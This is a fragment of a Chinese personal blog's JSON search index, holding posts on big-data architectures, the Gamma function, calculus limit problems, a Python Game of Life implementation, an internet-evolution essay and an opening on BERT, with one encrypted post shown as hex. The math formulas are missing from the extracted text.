e8f1b29c56acf361d28a64ab0d05f0e37e96dd8d3874fb4e3e24846aad3a19f89a33e1fd4c0c32564d92aa8d9907311ca6a4e680049e36ad8251b4537186cc1d7821ac6763c3daf58c74afc97e082e3da51f0a20655d084bbd8a991b4f8685c2f0c8e701946a0bf55f533464bce70e0eaf79afb3502817aeb222095bf085db613878c25bb05e8fc15b960eb16cb48c32d81691dc7c9f12c6582551cf1437a9a02441a0a0a741eea732b972b74173f483af37afc39d0a512ae8e792100bfc369b212ced65092a1e74ca693e2f25a521b7913b46eed99162bd30322690abeaeb7d1890e779ba08d2a105d2be720293d138c3f2eef03f00fa66c9c27b3851446a233d1f0a287ac7153505eb0988f855ccb134ad923144251dc23185d6aa1c568d2aa04fcd71019dec3dc7eba802551eeef341f5e65d5e15b8ac36906dd5562880e897ce6f14b5260965fd9b9fc2a47c669153059ca1a6172b473c8b3eba4ecaf87b41e287d6818c78f38d8dfb7007e3323d379f2932749484ffad89efcca437a4d7a6adf2d7e9e47b1d96b0d87bcf16eecab2e07f64ae2c09674b809d913b5bf21bcc534992ca6f2ee71ecd27470ad7c0f1a3246257a7920e4bb453469ff71f8527ee89922af5cd2076dead8d08e791468d7a69f0be69d30a69f3cfc4a807cea15e6cd127b3908a31981261dff3d487376860845b493035659e42f14871bffed25f424138606d2506f2a4cece42c2bf997c563b243657198dfa96415a04caf2334e89d07e72e1944b86e49f8e5cbdccd2ec1d4a48f6337d22a6d2bc0e51deb1ccaba5291fe524dcdbbb1ba8bf1f91f03c3f5a034a04a33e185c2263ff2f038af7f9c72c9b319951daec805c4bdfe23bc9e191a9dbc458c67a3b89f5442a7c233b5dfaea24b34ccc066fdc6e23ad90c3010e5afccc1ec5b713b9acff83ad85b252325366ab8e42b207192c82582613e9f1508e0593826ac1f988c93913253cad381b95ad924eb42f473e64b6306ef1e3c2736b96885f2e553dea2d7d994eb910c01de792ad0b3aaee2e8286bb8f0d258ce025fd5e53fdf08170781d8f8f79562a94553ea563b3e945e952c8de6e75cdacd9673d41436c3d02a1243b1b648ececfe8f2c5ef38228c3b306c3682cf75c2701502b3875f7cd3e456ca5ea08148af83fd95a932c74f878c27b9a20a5d9f9331dccef2d74b781dde7b195972875f233db34ba095c805f14fa9c9bcf370d840cd55dd1b6ee0a8ffd533d0a93aca45493c0dc1fd0eb4cb6c764db9b2667854a9c4af3f872a7c0616694b922e5aa8cd20ed993826c6101e98271ec21c516b67c23cf5d89027aed53c964016fc42d1fc90ed11f715a6242f792417929ae6eb0a79a7720b0c50a4a7db27f330d5bf3bb0257b10a4fd4baa55fc423786d508f3afdabf147b786e729d5807000205329b3177fe6cb0161189561e468a8db69d60f06ee08ba761fbc7ba00f8294b9b7b6d19b2bd44f04546729f2bf04a84be20a9378b188da26c830a384a1615c2f3cf0ab6c108e054012bf49c0ce76762a7c209edfeb7afa924ec0d7b87d8a081a59106166c22005f363ad02a6122ef053cd49b916763180b7409843bf5e2a6d3b677b1821973c32a83f6541b313060d726584efa9e658151d722e1d88f4b9107c1ff2bf1cb13a6e88272785a43f8a41997f82bbf1dea0456d86ba9656f51a978a9b3af01abc1565da35768228f98c5c9d8dce4ac8bafa442bd4a302dfc1f7f5bfa10007eb597b92983d64b588d57e2616d9a0256c35a169bd139d398ef7ee8f972d145fb5f0f4dd2bb3b73bacd6c9fed71b200cd167f6853d4fd8fdca08c0682c40b9de5adf9a40f77c8942ed6731f89488ad8e5e6f73b9be49e3cca644b45f033483c87320cb60bdcb173096090d05694a5ac6ef11a363fc51680dc2bc840b89feedc162883e4156eb0127a4cb8725c6bb3093fea249f8ed1af3d781ac99f293346bbd5c9c0246e91060d68a0c7d0e99da65ab13e6bf104c6159c685c37b8699d70535c37b6c587dd2134503d32756b0befcf90b3563021e2c4fcfc24d5ca4e3308cc0aa4d03bcfcd7542f7a0fb488e6290069efe33cd7115157bc4e7637d4094fcc6cc0a64277cc3d27a02f9756057157e98a5ba51031f3f08d79aa75d95aa0dde927e0e4ebd7a5223621d723dbae52452165c9f325a0e735d2fe578813b7afc14fa648540a710660fc7688199521d2db01866872bddd013000a5ffbe3aa9f752d23f4ad62bbaf940f80fbd1fdf3c922dd992bb7f5ffc90d8e2c1ec2895b683366ba1b558e51e5f6472d015cfb6ccecd2a2cdd1431157363c75ad56f35d23f3cb8703ff5bf91be4b7c4152f48d8a394f3937f6f75859de9cabaadcd3eb9eda46f6988871b6998323e0acad6c1b621471131fd7fc4b4c25e3658845cde972e9191b6517db83701279fd8c3847897862a6ba357b3bf9927bd66202195614dd1f87af8110cbf34beb5749080b1fdc4e9903cc898aec3994e2822bb0c5ad43f913316eb118cfb680756a4528a920f44e650eff3f86473c02d31ec76791cf2a807f3f5cbe0c9ded885ac9ff83a9574b9de442059f67fb45034ddd2cd18c8548bb9f672071f6043be7378ff0e5ed660709e20f504eb0c83a3b37cbf59ea75c56bae5614d15dc1a61571612319162ba64192542151ecba65f2be4f5539c88342a293ebd7ee5730bb31895fd91bd8e2dc17bfb199dbee31471a1f82020ed2f78d0421bed643d3f22ddbb0cae809f5a9a70f55ae4f141166cef37be3c6fdd57d0747ee23798b0b9b030fdb1f18f79d1110441c5383fe3c3e148ed6a0f59a5730400052cc1a38836a90cf0238ea1fe684d03467eb00c9b3f0663fa9a2ce9957e17d721720c12d2a98ab132c68dc77da90f775fb48a61cf68b3b73cf462aa419842b594dc061b9d4e40f8beb146cde238ce8843fe39ebb64240073706021304296d8f4ed9032d5a0e4578515b4c4ef6989de458cca4043580ca1be7f4e8c012d6d3687490fd2d50448a77f561a73709acf9aad7066d724617b8ef3bebf77fbdacb1f6487876f23a42ac33cea6877a058dc6a040a9fe8b98a94b62ef77ca43a7b1fe8704b4d3b9cb018e889e14926f4eb1745ffa41664a0d4c32846c5c6534d2ee53b866bfb1a6ae583b179adb9dc4c8d489dc352de1739c1ec375827610ab6820c07c2f16368868613874c3fb5007668a3f916c6186176c5b71b5b670bb7fe4cf814cc8e31ec0f2d242f5988b30519b9bd70c1289fd3afc1962f84ea8552cce321525fbfef3c5132b9e7754286ee4d8924cd8e51f260ca065b99e9df0925244048f764c9b235442594fd734539bbce1565ed322146af524680439c592d2e64fbd39b1de87312d928cffa3b1a58d01638d9cd1f298438cf32332d2c1465e7fa26f9c691bef9c7c8519f972ab4ce6985c4e37772e2be1fffe9c59411c427129ea909ebac8efbadf042e91197d08cfc3906323c5922b2e5aa964bfa7c775a7d93ce26038445451d9380c26040787ca5925c24364b2cc4e9d824bf75c2fe43f2e134cd98c7e9ce44639a267128a2660c0c408436b2b674351b2203cb3e54df727bb96478cae8c1f81f8c57cdbdadca2901ac17f98fe50ae645703865f3cc706dae659c3058af61e0b7e12408791030de5028ee7c86a0962cb98956d6d7748412e5022580cbdf9332430f93fb51590e4ae1ec77403d6925e2d4dfca435ab2c4354b5e23578fc2c767dd54bd63032ce1c0ffa6374a482ac76f1a8929411698f4b8c3f37df0bdc931fe02489945f715f244ed17982f55baaa881b3e494f6e393ce7d4ae1522d7c89efffdbc302db43090a196cd350023f42f3cdaec1e714508f9f99cb8dacac2f31146618a4653222ee96cc8a1826fa30abaadbd369c57189efc55aa346f1a72108b1827c59d6207fc5616782afd9ede0379d6cbf2be90b784dff27479f0f2ce9c719202955a48f89fe10cf9b75318edc3d5b2ce62250a31f3911c3ea9c4cfc17e700d4cc8fbd77aa402f1df357ab96b8d84ce51162617f6e8f72dd911dea0db056383d28fd9ec529ab3c87108b2aaaee2676e30dadbb114579bed3aed73a82b80bab2fb4801ca7fdf527fd469f9ff30896fcff773f6a9f7c10ad27d91998a6d47f0fb6e2da0156d56545842e75b331ca134127d2e038a0fe8515e45a9a72e20a3cc7599bb6cf067093b5aeb6fb3a9b127b71b1a00501c8720a8af5df40504a8016ea76e49e9e2692c8039ad0c2b579be9e7765c58f4341f035a0bfac006f2e09e26509439ce1e2ff766f8dc3689b5db 您好, 这里需要密码.","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"IPv6","slug":"Web/IPv6","permalink":"https://blog.mhuig.top/categories/Web/IPv6/"}],"tags":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/tags/Web/"},{"name":"IPv6","slug":"IPv6","permalink":"https://blog.mhuig.top/tags/IPv6/"},{"name":"加密备忘录","slug":"加密备忘录","permalink":"https://blog.mhuig.top/tags/%E5%8A%A0%E5%AF%86%E5%A4%87%E5%BF%98%E5%BD%95/"}]},{"title":"神秘数字 4.669","slug":"math/神秘数字4.669","date":"2021-02-10T01:50:47.000Z","updated":"2021-02-10T01:50:47.000Z","comments":true,"path":"p/373468cd/","link":"","permalink":"https://blog.mhuig.top/p/373468cd/","excerpt":"","text":"从无序迈向有序","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"分形","slug":"分形","permalink":"https://blog.mhuig.top/tags/%E5%88%86%E5%BD%A2/"},{"name":"混沌","slug":"混沌","permalink":"https://blog.mhuig.top/tags/%E6%B7%B7%E6%B2%8C/"}]},{"title":"大数据架构演变","slug":"bigdata/大数据架构演变","date":"2021-02-07T12:51:06.000Z","updated":"2021-02-07T12:51:06.000Z","comments":true,"path":"p/7e3480e9/","link":"","permalink":"https://blog.mhuig.top/p/7e3480e9/","excerpt":"","text":"在 Hadoop 系列框架还没出现之前，数据分析工作已经经历漫长的发展，其中以 BI 系统为主的数据分析，已经有非常成熟和稳定的技术解决方案和生态系统，BI 系统的架构图如下： BI 又叫商业智能，其包括与传统业务系统的区别在于：业务系统更注重于事务型的数据处理，用来支撑企业的各业务线；而 BI 是将企业中所有数据汇聚成数据仓库（DW）并对其进行分析型操作，其中 Cube 是 BI 的核心模块。Cube 是一额更高层的业务抽象模型，在 Cube 上可以进行上钻、下钻、切片等操作、 BI 系统都是基于关系型数据库，关系型数据库使用 SQL 语句进行操作，但是 SQL 在多维操作相对较弱，所以 Cube 有自己独有的查询语言多维查询语言 —— MDX 大多数的数据库服务厂商都提供 BI 服务，轻易便可搭建出一套 OLAP 分析系统 OLTP 联机事务处理，表现为企业中的应用系统如 OA、CRM、ERP、财务软件等供各部门使用 OLAP 联机分析处理，也叫决策支持系统 DSS，通常进行使用者是企业高管或部门管理者 但是随着互联网发展，BI 系统也暴露除了一些缺点: BI 系统多以分析业务数据产生结构化数据为主，对于非结构化和半结构化数据处理乏力。例如图片、文本、音频的存储、分析。 随着异构数据源增加，要解析数据内容进入数据仓库，则需要非常复杂的 ETL 程序，从而导致 ETL 变得过于庞大和容易出错，需要大量人力进行维护 随着数据的增长，性能会成为瓶颈，在 TB/PB 级别的数据处理上表现的尤为乏力 数据仓库的原始数据都是只读的用来分析，不存实务操作者导致传统的范式约束大大影响了性能 由于 BI 的一系列问题，在以 Hadoop 生态圈的大数据分析平台逐渐表现出其优异性，围绕 Hadoop 体系的生态圈也不断变大，对于 Hadoop 系统来说，从根本上解决了传统数据仓库瓶颈的问题 随着大数据平台的不断发展，现在主要对数据的处理时效进行区分为 针对于 T+1 数据的离线处理架构，其主要应用框架由 Hadoop、Hive、Sqoop 等组成 针对实时数据的流式处理架构，其主要由 Spark、Flink、Flume、Kafka 等组成 Lambda 架构“我们正在从 IT 时代走向 DT 时代 (数据时代)。IT 和 DT 之间，不仅仅是技术的变革，更是思想意识的变革，IT 主要是为自我服务，用来更好地自我控制和管理，DT 则是激活生产力，让别人活得比你好” —— 阿里巴巴董事局主席马云。 Hadoop 作为解决对大数据量低成本规模化的处理的解决方案被广泛应用 但是 MapReduce 或者 Hive 很难做到低延迟，用 Storm 开发的实时流处理技术可以帮助解决延迟性的问题，但它并不完美 Storm 不支持 exactly-once 语义，因此不能保证状态数据的正确性 Storm 不支持基于事件时间的处理 后来出现了一种混合分析的方法，它将上述两个方案结合起来，既保证低延迟，又保障正确性 ——Lambda Lambda 架构是由 Storm 的作者 Nathan Marz 提出的一个实时大数据处理框架 Marz 在 Twitter 工作期间开发了著名的实时大数据处理框架 Storm，Lambda 架构是其根据多年进行分布式大数据系统的经验总结提炼而成 Lambda 的目标: 高容错、低延时、可扩展 Lambda 特性 整合离线计算和实时计算 读写分离和复杂性隔离 可集成 Hadoop，Kafka，Storm，Spark，HBase 等 Marz 认为大数据系统应具有以下的关键特性（Lambda 架构的关键特性）： Robust and fault-tolerant（容错性和鲁棒性）：让系统从错误中快速恢复 Low latency reads and updates（低延时）：响应是低延时 Scalable（横向扩容）：通过增加机器的个数来提高系统的性能 General（通用性）：支持多领域的数据分析（金融、社交、电子商务等） Extensible（可扩展）：以最小的开发代价来增加新功能 Allows ad hoc queries（方便查询）：即时查询，快速简便的进行查询 Debuggable（易调试）：快速定位错误 Lambda 架构通过分解的三层架构来解决问题 Batch Layer Speed Layer Serving Layer Batch Layer理想状态下，任何数据查询都可以从表达式 Query= function (all data) 获得，但是若数据达到相当大的一个级别（例如 PB），且还需要支持实时查询时，就需要耗费非常庞大的资源 可以将数据提前进行计算处理成为 Batch View，这样当需要执行查询时，可以从 Batch View 中读取结果。这样一个预先运算好的 View 是可以建立索引的，因而可以支持随机读取 Batch Layer 总结为： Batch View = function(all data) Query = function(BatchView) Speed LayerBatch Layer 的离线处理可以很好的满足大多数应用场景，但有很多场景的数据是不断实时生成，并且需要实时查询处理。Speed Layer 正是用来处理增量的实时数据并生成 Realtime View Speed Layer 处理的数据是最近的增量数据流，Batch Layer 处理的是全体数据集 Speed Layer 为了效率，接收到新数据时不断更新 Realtime View，而 Batch Layer 根据全体离线数据集直接得到 Batch View Speed Layer 是一种增量计算，所以延迟小 Speed Layer 总结为： RealtimeView＝function(RealtimeView，new data) Batch Layer 和 Speed Layer 优点： 容错性：Speed Layer 中处理的数据也不断写入 Batch Layer，当 Batch Layer 中重新计算的数据集包含 Speed Layer 处理的数据集后，当前的 Realtime View 就可以丢弃，这也就意味着 Speed Layer 处理中引入的错误，在 Batch Layer 重新计算时都可以得到修正。这点也可以看成是 CAP 理论中的最终一致性（Eventual Consistency）的体现 复杂性隔离：Batch Layer 处理的是离线数据，可以很好的掌控。Speed Layer 采用增量算法处理实时数据，复杂性比 Batch Layer 要高很多。通过分开 Batch Layer 和 Speed Layer，把复杂性隔离到 Speed Layer，可以很好的提高整个系统的鲁棒性和可靠性 Query = function( Batch View , Realtime View ) Realtime View = function( Realtime View , new data ) Batch View = function( all data ) Serving Layer用于响应用户的查询请求，合并 Batch View 和 Realtime View 中的结果数据集到最终的数据集 Kappa 架构Lambda 架构有时会出现批量数据和实时数据结果对不上的问题 LinkedIn 的 Jay Kreps 提出了一个新的架构：KAPPA 它的理念是：鉴于大家认为批量数据和实时数据对不上是个问题，它直接去掉了批量数据；而直接通过队列（Kafka），放入实时数据之中。 例如：将所有的数据直接放到原来的 Kafka 中，然后通过 Kafka 的 Streaming，去直接面向查询 该架构也存在着一些问题： 不能及时查询和训练。例如：我们的分析师想通过一条 SQL 语句，来查询前五秒的状态数据。这对于 KAPPA 架构是很难去实现的 面对各种需求，它同样也逃不过每次需要重新做一次 Data Streaming。也就是说，它无法实现 Ad—hoc 查询，我们必需针对某个需求事先准备好，才能进行数据分析 新数据源的结构问题。例如：要新增一台智能硬件设备，我们就要重新开发一遍它对应的适配格式、负责采集的 SDK、以及 SDK 的接收端等，即整体都要重复开发一遍 IOTA 架构IOTA 架构整体思路设定标准数据模型，通过边缘计算技术把所有的计算过程分散在数据产生、计算和查询过程当中，以统一的数据模型贯穿始终，从而提高整体的预算效率，同时满足即时计算的需要，可以使用各种 Ad-hoc Query 来查询底层数据 Common Data Model（核心）：从数据收集到数据存储和处理使用统一的数据模型 ​ “主 - 谓 - 宾”、“对象 - 事件”、“产品 - 事件”、“地点 - 时间” 模型等等 ​ 例，“X 用户 – 事件 1 – A 页面（2018/4/11 20:00） SDKs：数据的采集端，不仅仅是过去的简单的 SDK，在复杂的计算情况下，会赋予 SDK 更复杂的计算，在设备端就转化为形成统一的数据模型来进行传送 Real Time Data：实时数据缓存区，这部分是为了达到实时计算的目的，海量数据接收不可能海量实时入历史数据库，那样会出现建立索引延迟、历史数据碎片文件等问题。因此，有一个实时数据缓存区来存储最近几分钟或者几秒钟的数据。这块可以使用 Kudu 或者 Hbase 等组件来实现。这部分数据会通过 Dumper 来合并到历史数据当中。此处的数据模型和 SDK 端数据模型是保持一致的，都是 Common Data Model，例如 “主 - 谓 - 宾” 模型 Historical Data：历史数据沉浸区，这部分是保存了大量的历史数据，为了实现 Ad-hoc 查询，将自动建立相关索引提高整体历史数据查询效率，从而实现秒级复杂查询百亿条数据的反馈。例如可以使用 HDFS 存储历史数据，此处的数据模型依然 SDK 端数据模型是保持一致的 Common Data Model Dumper：Dumper 的主要工作就是把最近几秒或者几分钟的实时数据，根据汇聚规则、建立索引，存储到历史存储结构当中，可以使用 map reduce、C、Scala 来撰写，把相关的数据从 Realtime Data 区写入 Historical Data 区 Query Engine：查询引擎，提供统一的对外查询接口和协议（例如 SQL JDBC），把 Realtime Data 和 Historical Data 合并到一起查询，从而实现对于数据实时的 Ad-hoc 查询。例如常见的计算引擎可以使用 presto、impala、clickhouse 等 Realtime model feedback：通过 Edge computing 技术，在边缘端有更多的交互可以做，可以通过在 Realtime Data 去设定规则来对 Edge SDK 端进行控制","categories":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/categories/BigData/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"}]},{"title":"离散世界与连续世界的联系","slug":"math/离散世界与连续世界的联系","date":"2021-01-02T12:34:44.000Z","updated":"2021-01-02T12:34:44.000Z","comments":true,"path":"p/2b995a0c/","link":"","permalink":"https://blog.mhuig.top/p/2b995a0c/","excerpt":"","text":"探索当年，哥德巴赫异想天开就想离散的世界的阶乘能不能用连续世界的积分来表达。 哥德巴赫有个好朋友叫伯努利，伯努利有个学生叫欧拉。欧拉有个学生叫拉格朗日，拉格朗日有个学生叫柯西 哥德巴赫与伯努利交流，问伯努利：有没有离散世界和连续世界可以相等的呢？ 伯努利想不明白，就问他的学生欧拉，然后欧拉一晚上想出来了。故事结束 伽玛函数 换元，令 则 推导建立递推式 由于 得到： 当时， 当时， 如： 又如： 数学归纳可得： 参考文献Γ 函数 wikipedia","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"一大波题目正在来袭","slug":"math/一大波题目正在来袭","date":"2020-12-06T13:33:18.000Z","updated":"2020-12-06T13:33:18.000Z","comments":true,"path":"p/bc43343e/","link":"","permalink":"https://blog.mhuig.top/p/bc43343e/","excerpt":"","text":"","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"回顾几个有趣的小题目","slug":"math/回顾几个有趣的小题目","date":"2020-11-16T13:08:56.000Z","updated":"2020-11-16T13:08:56.000Z","comments":true,"path":"p/ce5b71c0/","link":"","permalink":"https://blog.mhuig.top/p/ce5b71c0/","excerpt":"","text":"One 设 , 满足 ,. (1) 证明存在，并求其值。 (2) 求. 我们称叫做递推式，也叫迭代式。 上一步的函数值是下一步的自变量，如此循环往复。 迭代过程： 绘制图像 相当于在两条曲线的夹缝中求生存，最终的极限值趋近于 0. 数列、、到、单调减少，且有下界 0. (1) 用数学归纳法证明有界. 1. 验证. 2. 设. 3. 则. 于是有下界 0. 且显然. 由单调有界准则，存在，记为. 由 , 得 , 解得 , 于是. (2) . 由于存在，由归结原则:. Two (1) 证明方程在内有唯一实根； (2) 对于 (1) 中的，任取 , 定义 , 证明. 是超越方程，只能求得数值解，不能求得解析解，交点就在那里，可是就是不知道它是几. 相当于在两条曲线的夹缝中求生存，最终的极限值趋近于. 数列、、到、单调减少，且有下界. Three 设 ,,, 证明存在且其极限是方程的根. 是超越方程解不出解析解，交点就在那里，可是就是不知道它是几。 (1) 证在内有唯一实根。 令 , 则 ,. 且. . 单调递减. . 唯一 (2) 证. 构造. 由拉格朗日中值定理: 数学归纳 由于 故连续放缩得 于是且有界. 故. . 即 Four 设 ,,,. 若存在，求的取值范围.数学归纳 1.. 2. 设. 3. 则 单调增加。 若存在，记为 . 于是有交点. 函数值相同导数值斜率相同 故 时，有交点. 又时， 2. 设 3. 则. 有上界. 综上，当时，存在，且值为的根. [注] (1) 当时，有 2 个交点. eg. 当时，,. (2) 当在怎样的正数取值范围内取值时，曲线和直线必相交？ 曲线和直线相交的充要条件是存在，使得 , 即 即属于的值域。由于 =0. 故只需求出的最大值则的取值范围就是. 可得唯一驻点。当时 , 当时 , 时为在内的最大值. 由此，曲线和直线相交的充要条件是满足.","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"宇宙的本质是计算","slug":"pen/宇宙的本质是计算","date":"2020-11-06T00:35:48.000Z","updated":"2020-11-06T00:35:48.000Z","comments":true,"path":"p/92a4ae9/","link":"","permalink":"https://blog.mhuig.top/p/92a4ae9/","excerpt":"","text":"如果认为物理学家的任务是发现自然是什么，那就错了，物理学家关心的是我们关于自然能说点什么。 —— 尼尔斯・玻尔 想象一下，一望无际的大平面被分成了许许多多方格子。每个格子里正好能放下一个 “细胞”。这个细胞不能运动，它可以是死的，也可以是活的；但它的状态，是由它周围 8 个细胞的死活决定。 规则至于决定的规则，在这个例子里只有这么几条： “人口过少”：任何活细胞如果活邻居少于 2 个，则死掉。 “正常”：任何活细胞如果活邻居为 2 个或 3 个，则继续活。 “人口过多”：任何活细胞如果活邻居大于 3 个，则死掉。 “繁殖”：任何死细胞如果活邻居正好是 3 个，则活过来。 产物而下面这几张图，全是遵循这几条简单规则的产物。 “脉冲星”它的周期为 3，看起来像一颗周期爆发的星星。 “滑翔者”每 4 个回合 “它” 会向右下角走一格。虽然细胞早就是不同的细胞了，但它能保持原本的形态。 “轻量级飞船”它的周期是 4，每 2 个回合会向右边走一格。 “滑翔者枪”它会不停地释放出一个又一个滑翔者。 “繁殖者”它会向右行进，留下一个接一个的 “滑翔者枪”。动图最后一帧定格时用三种颜色区分了繁殖者本体、滑翔者枪和它们打出来的滑翔者。 Game Of Life上面这几条规则别名 “生命游戏”，可能是最出名的一套规则组。 最早研究细胞自动机的科学家是冯・诺伊曼，后来康韦发明了上面展示的这个最有趣的细胞自动机程序：《生命游戏》，而 wolfram 则详尽的讨论了一维世界中的细胞自动机的所有情况 这个游戏被许多计算机程序实现了。Unix 世界中的许多 Hacker 喜欢玩这个游戏，他们用字符代表一个细胞，在一个计算机屏幕上进行演化。 import numpy as npimport matplotlib.pyplot as plt class GameOfLife(object): def __init__(self, cells_shape): \"\"\" Parameters ---------- cells_shape : 一个元组，表示画布的大小。 Examples -------- 建立一个高20，宽30的画布 game = GameOfLife((20, 30)) \"\"\" # 矩阵的四周不参与运算 self.cells = np.zeros(cells_shape) real_width = cells_shape[0] - 2 real_height = cells_shape[1] - 2 self.cells[1:-1, 1:-1] = np.random.randint(2, size=(real_width, real_height)) self.timer = 0 self.mask = np.ones(9) self.mask[4] = 0 def update_state(self): \"\"\"更新一次状态\"\"\" buf = np.zeros(self.cells.shape) cells = self.cells for i in range(1, cells.shape[0] - 1): for j in range(1, cells.shape[0] - 1): # 计算该细胞周围的存活细胞数 neighbor = cells[i-1:i+2, j-1:j+2].reshape((-1, )) neighbor_num = np.convolve(self.mask, neighbor, 'valid')[0] if neighbor_num == 3: buf[i, j] = 1 elif neighbor_num == 2: buf[i, j] = cells[i, j] else: buf[i, j] = 0 self.cells = buf self.timer += 1 def plot_state(self): \"\"\"画出当前的状态\"\"\" plt.title('Iter :{}'.format(self.timer)) plt.imshow(self.cells) plt.show() def update_and_plot(self, n_iter): \"\"\"更新状态并画图 Parameters ---------- n_iter : 更新的轮数 \"\"\" plt.ion() for _ in range(n_iter): plt.title('Iter :{}'.format(self.timer)) plt.imshow(self.cells) self.update_state() plt.pause(0.2) plt.ioff() if __name__ == '__main__': game = GameOfLife(cells_shape=(60, 60)) game.update_and_plot(200) 这个游戏可以在这里玩～ https://playgameoflife.com/ https://funnyjs.com/jspages/game-of-life.html 规律蝴蝶扇动翅膀，引起大洋彼岸的风暴。 简单的底层逻辑，导致了纷繁复杂的生命现象。 微观遵循简单的逻辑， 而宏观上会表现出纷繁复杂的现象。 如此简单的程序能生成如此复杂的行为，这意味着什么？沃尔夫勒姆认为，这正是我们宇宙的本质；我们的世界就是计算，是一套简单的规则生成的复杂现象。 附：xkcd 的一幅漫画。也许我们的宇宙就是细胞自动机的计算结果呢。 以上漫画译自 https://xkcd.com/505/ ，并以 Creative Commons Attribution-NonCommercial 2.5 License 许可证发布。 最后，漫画里有一格的背景是黑的，一个粒子上有两个（一样的）二进制数指着它。如果你计算一下它俩的十进制….. The Answer to Life，the Universe and Everything is 42. Why is 42 ? 请用 Python 或者其他高级语言执行一下类似如下命令&gt;&gt;&gt; ord('*')42简单地说，42 是 * 的 ASCII 码，* 代表什么？就是 Life, the Universe, and Everything 啊.","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"互联网进化！","slug":"pen/互联网进化！","date":"2020-11-05T23:00:00.000Z","updated":"2020-11-05T23:00:00.000Z","comments":true,"path":"p/9feab2fa/","link":"","permalink":"https://blog.mhuig.top/p/9feab2fa/","excerpt":"","text":"简介《互联网进化论》书中提出” 互联网的未来功能和结构将于人类大脑高度相似，也将具备互联网虚拟感觉，虚拟运动，虚拟中枢，虚拟运动神经系统”, 并绘制了一幅互联网虚拟大脑结构图. 云计算是互联网的核心硬件层和核心软件层的集合，也是互联网中枢神经系统的萌芽. 大数据代表了互联网的信息层 (数据海洋), 是互联网智慧和意识产生的基础. 物联网，传感器在源源不断的向互联网大数据层汇集数据. 疑问：互联网的进化显示生命进化的方向性达尔文进化论认为生物进化并不是从低级到高级的进化，进化没有预定的方向；生物进化是自然选择的结果。 达尔文进化论动摇了神学的土壤和基础，但互联网的进化却可能引发神秘但有趣的问题 —— 互联网和人脑为什么向同一方向进化？ 互联网的未来结构是人类的大脑结构，互联网的每一个创新都是对数万年前已经存在人脑功能的模仿。科学实验证明大脑中也经拥有 Google 一样的搜索引擎，Facebook 一样的 SNS 系统，IPv4 一样的地址编码系统，思科一样的路由系统。 40 多年来人类从不同的方向在互联网领域进行创新，并没有统一的规划将互联网建造成什么结构，但有一天人类抬起头来观看自己的产品，将发现这个产品与大脑的结构高度相似，而且可以作为揭开大脑之谜的钥匙。这是一个非常奇特的现象。 终极结论“看不见的手” 像幽灵一样盘踞在人类社会的发展过程中，时隐时现，如果说社会学、经济学还只是模糊的看到这只手的影子，那么互联网的进化有可能第一次把 “这只看不见的手” 逼到科学的解剖刀下。如何解剖它，那需要未来更多的研究者思考和实践，相信这个秘密的解开将会给人类带来重大而深远的影响 。 互联网，宇宙和大脑的关系是互联网进化论的终极结论：互联网将宇宙和大脑结合在一起，结构无限逼近人脑结构，空间上无限逼近宇宙边缘，在无穷时间点，宇宙，大脑，和互联网三者将合为一体，进化成为宇宙大脑或智慧宇宙。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"BERT 预训练模型及其应用案例","slug":"data-mining/BERT预训练模型及其应用案例","date":"2020-11-05T07:47:27.000Z","updated":"2020-11-05T07:47:27.000Z","comments":true,"path":"p/48f700eb/","link":"","permalink":"https://blog.mhuig.top/p/48f700eb/","excerpt":"预训练模型最开始是在图像领域提出的，获得了良好的效果，近几年才被广泛应用到自然语言处理各项任务中。 (1) 2003 年 Bengio 提出神经网络语言模型 NNLM，从此统一了 NLP 的特征形式 ——Embedding； (2) 2013 年 Mikolov 提出词向量 Word2vec，延续 NNLM 又引入了大规模预训练（Pretrain）的思路； (3) 2017 年 Vaswani 提出 Transformer 模型，实现用一个模型处理多种 NLP 任务。 (4) 基于 Transformer 架构，2018 年底开始出现一大批预训练语言模型 (3 个预训练代表性模型 BERT [2018]、XLNet [2019] 和 MPNet [2020])，刷新众多 NLP 任务，形成新的里程碑事件。","text":"预训练模型最开始是在图像领域提出的，获得了良好的效果，近几年才被广泛应用到自然语言处理各项任务中。 (1) 2003 年 Bengio 提出神经网络语言模型 NNLM，从此统一了 NLP 的特征形式 ——Embedding； (2) 2013 年 Mikolov 提出词向量 Word2vec，延续 NNLM 又引入了大规模预训练（Pretrain）的思路； (3) 2017 年 Vaswani 提出 Transformer 模型，实现用一个模型处理多种 NLP 任务。 (4) 基于 Transformer 架构，2018 年底开始出现一大批预训练语言模型 (3 个预训练代表性模型 BERT [2018]、XLNet [2019] 和 MPNet [2020])，刷新众多 NLP 任务，形成新的里程碑事件。 预训练模型的应用通常分为两步: 第一步：在计算性能满足的情况下用某个较大的数据集训练出一个较好的模型。 第二步：根据不同的任务，改造预训练模型，用新任务的数据集在预训练模型上进行微调。 预训练模型的好处是训练代价较小，配合下游任务可以实现更快的收敛速度，并且能够有效地提高模型性能，尤其是对一些训练数据比较稀缺的任务。换句话说，预训练方法可以认为是让模型基于一个更好的初始状态进行学习，从而能够达到更好的性能。 要讲自然语言的预训练，得先从图像领域的预训练说起。 图像领域的预训练 